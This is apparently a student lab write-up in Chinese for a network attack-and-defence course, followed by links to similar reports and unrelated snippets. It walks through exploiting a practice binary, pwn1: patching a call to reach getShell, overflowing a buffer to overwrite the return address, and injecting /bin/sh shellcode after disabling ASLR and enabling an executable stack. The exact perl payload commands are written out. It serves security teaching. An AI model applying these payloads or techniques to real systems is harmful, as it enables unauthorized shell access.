2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M
一、实践目标
1.1实践介绍
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2相关知识
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
反汇编:objdump -d XX
进入十六进制编辑模式:进入十六进制编辑模式
查询:/
调试:gdb XXX
切回原模式:%!xxd -r
实践一:直接修改程序机器指令,改变程序执行流程
1.将pwn进行反汇编objdump -d
寻找foo函数和getshell函数的机器码,分别是08048491,0804747d。利用两个地址的相对偏移来改变调用地址,从而使主函数调用getshell函数。
2.查找要修改的内容,计算偏移量
vi
进入文件,并按ESC后,输入:%!xxd,转化为十六进制显示模式,查找要修改的内容/e8 d7。7d比91大14,因此将d7 - 14,得到新的地址c3。进入修改,:wq保存退出。
3.反汇编看一下,call指令正确调用getShell,然后执行。
实验二:通过构造输入参数,造成BOF攻击,改变程序执行流
1.反汇编,了解程序的基本功能
2.触发getshell函数
3.该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
1.先进入gdb使用指令gdb 20155319
然后r
输入1111111122222222333333334444444455555555并info r
观察寄存器中数值寻找关系。
发现eip寄存器中的值为0x35353535,35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是把8个5换成12345678进一步探索。
由于输入时少输一个4,变为1111111111222222223333333344444444123456发现eip中的数值变成了33323134也就是3214由此判断为4、1、2、3这四个位置数字反向输入覆盖了堆栈上的返回地址。
2.好了由之前的截图可以看到getshell的内存地址为0804847d,所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444\x7d\x84\x04\x08用ctrl+z
退出,使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造文件。并使用十六进制查看指令xxd查看input文件是否符合预期。最后用然后将input的输入,通过管道符“|”,作为pwn1的输入。
1.输入apt-get install execstack下载软件包。
2.输入指令,更改设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
3.输入命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,然后输入攻击命令(cat input_shellcode;cat) | ./pwn5319.
打开一个新终端,找到进程号。用gdb调试,使用x/16x 0xffffd30c
查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd310。
修改地址再次攻击,成功!
遇到的问题
Q:在输入值得时候只输入了31位,出现下列返回值,不知道它代表什么意思?(希望老师帮我解答下)
2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M的更多相关文章
-
2018-2019-2 网络对抗技术 20164313 杜桂鑫 Exp1 PC平台逆向破解
实验目标: 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 实践的目标就是运行程序中另一代码片段ge ...
-
2017-2018-2 《网络对抗技术》 20155302 第二周 Exp1 PC平台逆向破解(5)M
2017-2018-2 <网络对抗技术> 20155302 第二周 Exp1 PC平台逆向破解(5)M 1-实践目标 1.1-实践介绍 本次实践的对象是一个名为pwn1的linux可执行文 ...
-
2017-2018-2 《网络对抗技术》 20155310 第二周 Exp1 PC平台逆向破解(5)M
2017-2018-2 <网络对抗技术> 20155310 第二周 Exp1 PC平台逆向破解(5)M 一.实践目标 1.1实践介绍 本次实践的对象是一个名为pwn1的linux可执行文件 ...
-
2017-2018-2 《网络对抗技术》 20155322 第二周 Exp1 PC平台逆向破解(5)M
#2017-2018-2 <网络对抗技术> 20155322 第二周 Exp1 PC平台逆向破解(5)M [博客目录] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 ...
-
2017-2018-2 20155228 《网络对抗技术》 实验一:PC平台逆向破解
2017-2018-2 20155228 <网络对抗技术> 实验一:PC平台逆向破解 实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用 ...
-
20165309 《网络对抗技术》实验一:PC平台逆向破解
20165309 <网络对抗技术>实验一:PC平台逆向破解 目录 实践目标 基础知识 实验原理.内容及步骤 问题与解决 实验收获 一.实践目标 本次实践的对象是一个名为pwn1的linux ...
-
2017-2018-2 20155230《网络对抗技术》实验1:PC平台逆向破解(5)M
1.直接修改程序机器指令,改变程序执行流程 2.通过构造输入参数,造成BOF攻击,改变程序执行流 3.注入Shellcode并执行 4.实验感想 注:因为截图是全屏所以右键图片在新的标签页打开观看更加 ...
-
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
-
2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165308 Exp1 PC平台逆向破解 NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP汇编指令:执行到NOP指令时,CPU仅仅当做一个 ...
随机推荐
-
C++ win32线程数上限
hThread = CreateThread( NULL, 0, WorkerFunction, &threadParm, 0, &dwThreadID ); 这样的创建方法 ...
-
JS中事件代理与委托
在javasript中delegate这个词经常出现,看字面的意思,代理.委托.那么它究竟在什么样的情况下使用?它的原理又是什么?在各种框架中,也经常能看到delegate相关的接口.这些接口又有什么 ...
-
ArcEngine 添加字段
private void AddField(IFeatureClass pFeatureClass, string name, string aliasName, esriFieldType Fiel ...
-
API之IP地址查询---权威的IP地址查询接口集合
原文地址:http://yushine.iteye.com/blog/1717586 推荐实用IP138 http://www.baidu.com/s?wd=IP&rsv_spt=1& ...
-
如何有效地记录 Java SQL 日志(转)
在常规项目的开发中可能最容易出问题的地方就在于对数据库的处理了,在大部分的环境下,我们对数据库的操作都是使用流行的框架,比如 Hibernate . MyBatis 等.由于各种原因,我们有时会想知道 ...
-
Hibernate 系列教程5-双向多对一
主要讲解inverse和cascade的用法 cascade定义的是关系两端对象到对象的级联关系: 而inverse定义的是关系和对象的级联关系(管理外键的值). inverse 属性默认是false ...
-
IOS NSURLRequest 设置 Header
https://my.oschina.net/wolx/blog/406092 工程中的请求,需要设置Header,请求令牌才访问,NSURLRequest 请求没有直接设置header 的方法,需要 ...
-
shell中的Mysql查询
1 #!/bin/bash 2 #查询 3 echo -e 4 for i in `cat id.txt` 5 do 6 A=`mysql -h10 -uw -p2012 -Ne "sel ...
-
git报错:&#39;fatal:remote origin already exists&#39;怎么处理?附上git常用操作以及说明。
git添加远程库的时候有可能出现如下的错误, 怎么解决? 只要两步: 1.先删除 $ git remote rm origin 2.再次执行添加就可以了. ---------------------- ...
-
initializer_list 列表初始化
initializer_list 列表初始化 用花括号初始化器列表初始化一个对象,其中对应构造函数接受一个 std::initializer_list 参数. #include <iostrea ...